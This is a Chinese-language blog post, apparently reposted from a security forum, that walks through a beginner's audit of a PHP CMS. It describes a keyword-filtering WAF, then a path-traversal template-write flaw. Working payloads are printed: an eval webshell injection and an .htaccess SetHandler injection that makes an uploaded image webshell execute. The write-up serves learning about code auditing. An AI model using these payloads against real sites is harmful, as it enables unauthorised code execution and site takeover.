某CMS代码审计思路分享
2021-05-10 18:27:23 Author: xz.aliyun.com(查看原文) 阅读量:195 收藏

前言

​ 大师傅丢给了我一个CMS,说挺简单的,让我尝试审计看看。于是我开启了自己的第一次代码审计。这篇文章主要是讲自己写审计时的一些思路把,对于代码的分析还是比较少的。

工具

Vscode:用来查找内容很好评,自带的转到定义转到引用的功能都很好用

Seay源代码审计系统:虽然有时候在喷这个工具不好用,但是它能帮我们快速定位可能存在危险的函数,可以帮我们发现一些漏掉的东西,总体来说还行啦

审计

​ 在把环境装好后,先试试网站前台有啥功能,可能会存在啥漏洞。

​ 访问了几个页面,都存在ID这个GET请求参数,这里可以判断可能存在SQL注入的漏洞,进行测试

​ 当加上单引号就被过滤了,emmmm不幸的开始,这时候可以使用VScode看看它的WAF是啥样的,有没有机会绕过。

​ 可以知道这个WAF的位置是在Include/contorl.php文件中,并且知道了它运作的原理:当存在GET请求参数时,它会将GET请求参数保存在一个数组中,并对其中的每一个参数进行正则匹配,如果存在关键字则会返回Sorry,You do this is wrong! (.-.)退出脚本。

​ 又在前台逛了一下,并没有发现什么特别有用的功能(这个WAF过滤的太狠了),既然如此就去后台看看吧

​ 登录上来就看到了上传点,是一个很好的开始。这里我先上传了一个正常的图片,然后通过查看Burp的内容去寻找源代码

​ 主要代码应该是在Upfile.php这个文件中,于是我们先去看看这个文件的代码

​ 这里能看到网站的logo是可以上传zip文件的,这让我联想到了使用文件包含的zip协议的漏洞,然后我就上了Seay帮我看看有没有啥文件包含的漏洞

​ 在一众SQL注入XSS提示中,我找到了这个可以函数开始是一个变量的地方,毕竟如果开始是写死的(如:file_get_contents('../'.$xxx))这样的咋们也用不了zip协议了,我飞快的跳去看这个函数定义以及调用它的地方

​ 从这个调用中,我们可以看到$mblujin是不可控,它要嘛是写死的,要嘛是从数据库中查找的。但是有另外一个变量是可控的$mb

​ 这三步:分别是提取模板文件的数据,将其中的<{Template}>内容换成$mb的内容,然后把它写到网站根目录下

​ 这里对于file_get_contents使用拼接字符串十分敏感,因为可以虚构一个不存在的文件名,然后通过../返回上一级。测试如下

​ 那这里我们可以用相同的方法,将想要的内容写进去,然后返回上一级即可。既然如此就得先看看它读的是哪里的文件

index.php是从Templete/default/Include读到的;.htaccess是从Templete/default/Include/hta/d读到的

​ 一开始我的想法是直接将Shell写到index.php,毕竟直接在.php文件的基础写肯定不会错的,看看index.php的源码

<?php
include_once  '<{dirpaths}>Include/web_inc.php';
include_once  '<{dirpaths}>Templete/<{Template}>/Include/Function.php';
$file_url="<{dirpaths}>";
include_once  '<{dirpaths}>Templete/<{Template}>/Include/default.php';
?>

​ 这里闭合代码的话需要闭合单引号,再将后面的内容注释掉就行啦,最后接default是原来模板的文件夹名。

Payload:index.php';eval($_POST[1]);/../default

​ 既然构造好了就得拿上去打了

​ 直接访问Function.php文件不行,因为这里声明了一个类对象,但是并不是在该文件定义的。

​ 通过右键转到定义,发现它是在网站根目录下的Include/contorl.php文件中被定义的,而这个文件最开始就是那个WAF过滤。淦!也就是说我们刚才构造的Payload不行,因为单引号会报错退出。

​ 但是还是先得找个连接这个两个文件的php。

​ 直接用搜索功能就找到了

​ 既然index.php文件用不了,那就转换思路,试试用.htaccess能不能Getshell,还记得我们之前有一个图片上传的点,那只要将图片当作php文件解析即可,先看看.htaccess文件代码

RewriteEngine On
RewriteCond %{http_host} ^sem-cms.com [NC]
RewriteRule ^(.*)$ http://www.sem-cms.com/$1 [L,R=301]

<Files ~ “^.(htaccess|htpasswd)$”>
deny from all
</Files>

RewriteRule  ^product.php$  <{dirpaths}>Templete/<{Template}>/Include/product\.php
RewriteRule  ^about.php$  <{dirpaths}>Templete/<{Template}>/Include/about\.php
RewriteRule  ^contact.php$  <{dirpaths}>Templete/<{Template}>/Include/contact\.php
RewriteRule  ^download.php$  <{dirpaths}>Templete/<{Template}>/Include/download\.php
RewriteRule  ^news.php$  <{dirpaths}>Templete/<{Template}>/Include/news\.php
RewriteRule  ^info.php$  <{dirpaths}>Templete/<{Template}>/Include/info\.php
RewriteRule  ^view.php$  <{dirpaths}>Templete/<{Template}>/Include/view\.php
RewriteRule  ^search.php$  <{dirpaths}>Templete/<{Template}>/Include/search\.php
ErrorDocument 404 /Templete/<{Template}>/Include/404.html

​ 可以将前面的内容闭合,接着通过换行符写入我们想要的规则,最后将后面的内容使用#注释掉

Payload:index.php%0aSetHandler application/x-httpd-php%0a%23/../../default

​ 接着我们先上传一个图片马

​ 接着根据返回的路径试试能不能访问

​ 接着使用我们的Payload打一下,这里CF=template是因为功能点的名字(可以看看前面的图片找到)

Payload:Top_include.php?CF=template&mb=index.php%0aSetHandler application/x-httpd-php%0a%23/../../default

​ 接着我们再次访问改图片

​ 成功的GetShell了!!!

结语

整个审计过程,我是通过了白+黑的方式来看的,当看到可能存在的问题点的时候可以去看看代码,可能代码中的一些内容就会给你提示。再者就是细心吧,有些小细节还是不能放过的,像一开始当我不能利用index.php文件时是想放弃的,但是后来回想到了可以上传图片,又重新振作了。欢迎大家和我一起学习交流!!!


文章来源: http://xz.aliyun.com/t/9529
如有侵权请联系:admin#unsafe.sh